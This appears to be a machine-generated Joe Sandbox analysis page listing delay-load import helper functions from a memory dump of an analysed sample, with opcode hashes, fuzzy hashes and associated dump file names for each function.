API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 742849c8b489249cf71498ee885d997cc80242df6cff724b2ff8f434d8e75b5a
Instruction ID: 5e8e315e7e5ea57c6191fe02370681362a9c700f4503c7f9ece1812d6c7bea21
Opcode Fuzzy Hash: 742849c8b489249cf71498ee885d997cc80242df6cff724b2ff8f434d8e75b5a
Instruction Fuzzy Hash: 5BA012D127C002BC331C21046C06C76021CC4C1B103304409B047900C194482D850C30

Function 0071D95B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 46355259bd4417e5c0a207643fd5f79fef2807ff14294ef85ceb226e56a4cdae
Instruction ID: 5e8e315e7e5ea57c6191fe02370681362a9c700f4503c7f9ece1812d6c7bea21
Opcode Fuzzy Hash: 46355259bd4417e5c0a207643fd5f79fef2807ff14294ef85ceb226e56a4cdae
Instruction Fuzzy Hash: 5BA012D127C002BC331C21046C06C76021CC4C1B103304409B047900C194482D850C30

Function 0071D93D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b515b5f8dab1e3a92c43acfb4a7ac9fab2e64a98604a825036538f2aab3379e0
Instruction ID: 5e8e315e7e5ea57c6191fe02370681362a9c700f4503c7f9ece1812d6c7bea21
Opcode Fuzzy Hash: b515b5f8dab1e3a92c43acfb4a7ac9fab2e64a98604a825036538f2aab3379e0
Instruction Fuzzy Hash: 5BA012D127C002BC331C21046C06C76021CC4C1B103304409B047900C194482D850C30

Function 0071D91F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b6765f25cb4cbf5ad93cf267f1e5e5236688f981334e3fb1131291e58e5e235c
Instruction ID: 5e8e315e7e5ea57c6191fe02370681362a9c700f4503c7f9ece1812d6c7bea21
Opcode Fuzzy Hash: b6765f25cb4cbf5ad93cf267f1e5e5236688f981334e3fb1131291e58e5e235c
Instruction Fuzzy Hash: 5BA012D127C002BC331C21046C06C76021CC4C1B103304409B047900C194482D850C30

Function 0071D997 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ef6580282548d17cc37882eae6bfd0804f5252b8e1503cf8c956680883c8f6f4
Instruction ID: 5e8e315e7e5ea57c6191fe02370681362a9c700f4503c7f9ece1812d6c7bea21
Opcode Fuzzy Hash: ef6580282548d17cc37882eae6bfd0804f5252b8e1503cf8c956680883c8f6f4
Instruction Fuzzy Hash: 5BA012D127C002BC331C21046C06C76021CC4C1B103304409B047900C194482D850C30

Function 0071D983 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 256bdc5f0c65d144e9489a3b03b6af78b74166892946596564ada1664d854f53
Instruction ID: 5e8e315e7e5ea57c6191fe02370681362a9c700f4503c7f9ece1812d6c7bea21
Opcode Fuzzy Hash: 256bdc5f0c65d144e9489a3b03b6af78b74166892946596564ada1664d854f53
Instruction Fuzzy Hash: 5BA012D127C002BC331C21046C06C76021CC4C1B103304409B047900C194482D850C30

Function 0071D98D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d8e43045661fdc042ed59dee7b7ad1eec3cb5036fcba23809619d892444b026e
Instruction ID: 5e8e315e7e5ea57c6191fe02370681362a9c700f4503c7f9ece1812d6c7bea21
Opcode Fuzzy Hash: d8e43045661fdc042ed59dee7b7ad1eec3cb5036fcba23809619d892444b026e
Instruction Fuzzy Hash: 5BA012D127C002BC331C21046C06C76021CC4C1B103304409B047900C194482D850C30

Function 0071DAF2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DAB2

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 222f784a5a19f645c56f62f444ffeec9445ba0cb0ab997db3245a9ee756f0a16
Instruction ID: 7cdeb49414d8d2c5a16eccc4361a56abb47d6f8e751a80e091f0c33065bbab4b
Opcode Fuzzy Hash: 222f784a5a19f645c56f62f444ffeec9445ba0cb0ab997db3245a9ee756f0a16
Instruction Fuzzy Hash: C9A002D527D102BC721C71556D16D7B025CC4C5F51730851AB516940C5555C5D855C71

Function 0071DAFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DAB2

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e709605e89abd6af2bce759456f02685ce6d07974ea838c469ed53fbb8a37283
Instruction ID: 7cdeb49414d8d2c5a16eccc4361a56abb47d6f8e751a80e091f0c33065bbab4b
Opcode Fuzzy Hash: e709605e89abd6af2bce759456f02685ce6d07974ea838c469ed53fbb8a37283
Instruction Fuzzy Hash: C9A002D527D102BC721C71556D16D7B025CC4C5F51730851AB516940C5555C5D855C71

Function 0071DAE8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DAB2

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d485904b944101ee32212929dcb3c92d16598b9c63e64c9e596e39e79785a9b4
Instruction ID: 7cdeb49414d8d2c5a16eccc4361a56abb47d6f8e751a80e091f0c33065bbab4b
Opcode Fuzzy Hash: d485904b944101ee32212929dcb3c92d16598b9c63e64c9e596e39e79785a9b4
Instruction Fuzzy Hash: C9A002D527D102BC721C71556D16D7B025CC4C5F51730851AB516940C5555C5D855C71

Function 0071DAC0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DAB2

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 615b86e709f08e48e1db33a84cdf5e33c9f31820acd366b256a4699c8f4157b6
Instruction ID: 7cdeb49414d8d2c5a16eccc4361a56abb47d6f8e751a80e091f0c33065bbab4b
Opcode Fuzzy Hash: 615b86e709f08e48e1db33a84cdf5e33c9f31820acd366b256a4699c8f4157b6
Instruction Fuzzy Hash: C9A002D527D102BC721C71556D16D7B025CC4C5F51730851AB516940C5555C5D855C71

Function 0071DACA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DAB2

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3adb165375db8ab9c166692df4e1f7f6b432fd770c22e53131cff7a5dcda337e
Instruction ID: 7cdeb49414d8d2c5a16eccc4361a56abb47d6f8e751a80e091f0c33065bbab4b
Opcode Fuzzy Hash: 3adb165375db8ab9c166692df4e1f7f6b432fd770c22e53131cff7a5dcda337e
Instruction Fuzzy Hash: C9A002D527D102BC721C71556D16D7B025CC4C5F51730851AB516940C5555C5D855C71

Function 0071DAA5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DAB2

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: eee135177e15d97232c423685f36807a6143e27bf01808470f285f21e577d62a
Instruction ID: 3003b782b1af0bf9bc4263f99bdfcb21e76ac4cfca59803052b9106b5481ed24
Opcode Fuzzy Hash: eee135177e15d97232c423685f36807a6143e27bf01808470f285f21e577d62a
Instruction Fuzzy Hash: B0A012D137C0017C321CB145AC16C7B021CC4C0F11330810AB006900C5544C0D850C30

Function 0071DBF7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DBD5

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 35a87ace4d43bf307279ea713ec6e221d68016cb0c87d4d8e7ae18a0e3c12212
Instruction ID: 4dd9f4d8a99fbbab0ae04520379f3be53a562a89c74de2c6c449528075b83ba8
Opcode Fuzzy Hash: 35a87ace4d43bf307279ea713ec6e221d68016cb0c87d4d8e7ae18a0e3c12212
Instruction Fuzzy Hash: 9AA002D62BD116BC7228515D6D1BDB6022CD4C5B517314519B517940C159585D855831

Function 0071DC44 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DC36

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f5af0f772274e9ce8f34239cc151fe772a6d006526795a0b9df00afa90d76e4e
Instruction ID: 5ef95ac2a750ebfc8cbb28d3335c0b47480bcacc693f1610dc40659ef6d01d93
Opcode Fuzzy Hash: f5af0f772274e9ce8f34239cc151fe772a6d006526795a0b9df00afa90d76e4e
Instruction Fuzzy Hash: 5AA002D65AD102BC721C65596D16DB6022CC4C5B517304D19B516940D165885D855C71

Function 0071DC4E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DC36

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d7b05fa38bb67a0769368fa6e7ad6be916e64434ace5fbb0ce91dfe760473767
Instruction ID: 5ef95ac2a750ebfc8cbb28d3335c0b47480bcacc693f1610dc40659ef6d01d93
Opcode Fuzzy Hash: d7b05fa38bb67a0769368fa6e7ad6be916e64434ace5fbb0ce91dfe760473767
Instruction Fuzzy Hash: 5AA002D65AD102BC721C65596D16DB6022CC4C5B517304D19B516940D165885D855C71

Function 0071DC15 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DBD5

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d958c4d55b31e8dd92ada890edc89815f2f5916eac9a01d82ce5e865630b3a6c
Instruction ID: 4dd9f4d8a99fbbab0ae04520379f3be53a562a89c74de2c6c449528075b83ba8
Opcode Fuzzy Hash: d958c4d55b31e8dd92ada890edc89815f2f5916eac9a01d82ce5e865630b3a6c
Instruction Fuzzy Hash: 9AA002D62BD116BC7228515D6D1BDB6022CD4C5B517314519B517940C159585D855831

Function 0071DC1F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DBD5

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

